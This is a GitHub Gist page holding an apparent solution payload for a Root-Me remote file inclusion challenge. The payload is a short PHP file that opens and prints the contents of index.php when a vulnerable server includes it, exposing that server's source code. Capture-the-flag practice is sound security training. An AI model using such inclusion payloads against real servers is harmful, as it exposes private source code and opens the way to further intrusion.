Last active
July 11, 2020 05:46
-
-
Save baotang2118/6fe151b6d24fdc06b477b57af705796c to your computer and use it in GitHub Desktop.
Rootme/ Web server/ Remote File Inclusion
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<pre> | |
<?php | |
$myfile = fopen("index.php", "r") or die("Unable to open file!"); | |
echo fread($myfile,filesize("index.php")); | |
fclose($myfile); | |
?> | |
</pre> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment